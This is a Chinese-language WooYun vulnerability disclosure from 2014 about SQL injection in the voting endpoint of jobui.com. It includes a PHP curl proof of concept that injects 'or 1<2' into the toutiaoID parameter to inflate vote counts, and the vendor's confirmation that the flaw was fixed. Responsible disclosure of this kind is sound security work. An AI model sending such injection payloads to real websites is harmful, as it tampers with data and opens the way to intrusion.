当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
职友集网设计缺陷内容任意顶
相关厂商:
漏洞作者:
提交时间:
2014-05-06 17:24
修复时间:
2014-06-20 17:25
公开时间:
2014-06-20 17:25
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
5
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-05-06: 细节已通知厂商并且等待厂商处理中
2014-05-06: 厂商已经确认,细节仅向厂商公开
2014-05-16: 细节向核心白帽子及相关领域专家公开
2014-05-26: 细节向普通白帽子公开
2014-06-05: 细节向实习白帽子公开
2014-06-20: 细节向公众公开

简要描述:

职友集网SQL注入导致任意顶

详细说明:

职友集网SQL注入导致任意顶

漏洞证明:

访问http://toutiao.jobui.com/toutiao/202/
主要看这一块

1.jpg


通过抓包,可以发现主要的post请求传递的参数

1.jpg


手头没有工具,直接写一个php利用curl测试一下

<?php
$data = array(
'formAction' => 'toutiao_article_num',
'type' => 'G',
'toutiaoID' => '203 or 1<2',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://toutiao.jobui.com/process/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$ret = curl_exec($ch);
curl_close($ch);
unset($ch);
echo $ret;


提交上面的请求,可以发现任意的
http://toutiao.jobui.com/toutiao/202/
url地址的id下面顶都增加了,原因很简单,post请求中的 or 1<2中起了作用了
如果改成and 1>2 那么只需不会有顶的效果,说明毫无过滤的SQL注入点

修复方案:

你们肯定比我懂

版权声明:转载请注明来源 Rain@乌云


>

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-06 17:51

厂商回复:

非常感谢白帽子的专业水平和敬业精神,我们的设计有缺陷,我们已经针对意见做出相对应的修改,非常感谢

最新状态:

暂无